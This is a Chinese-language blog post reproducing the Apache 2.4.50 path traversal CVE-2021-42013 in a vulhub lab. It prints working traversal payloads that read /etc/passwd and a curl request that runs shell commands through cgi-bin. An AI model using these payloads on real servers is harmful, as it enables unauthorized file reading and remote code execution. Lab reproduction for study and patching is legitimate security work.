CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

admin 2023年5月16日22:26:00评论72 views字数 1369阅读4分33秒阅读模式

原理

该漏洞是由于在Apache HTTP Server 2.4.50版本中对CVE-2021-41773修复不够完善,攻击者可利用该漏洞绕过修复补丁,并利用目录穿越攻击访问服务器中一些文件,进而造成敏感信息泄露。若HTTPD中开启CGI功能,攻击者可以构造恶意请求,造成远程代码执行。

受影响版本

lApache HTTP Server 2.4.49

lApache HTTP Server 2.4.50

漏洞环境

kali +vulhub搭建

执行以下命令开启Apache HTTP Server 2.4.50服务器环境

docker-compose builddocker-compose up -d

环境成功开启

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

2.4.49版本的页面一样哈!

漏洞复现

使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。

但可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

不知道为啥失败了,没有成功读取到/etc/passwd

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

burp试试

Payload

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

成功读取/etc/passwd

突然想起来刚才的ip输错了,导致第一次没有成功读取,重试了一下,成功了

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

修复建议

升级到Apache HTTP Server安全版本

CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日22:26:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-42013—Apache HTTP Server 2.4.50路径穿越漏洞https://cn-sec.com/archives/1738337.html

发表评论

匿名网友 填写信息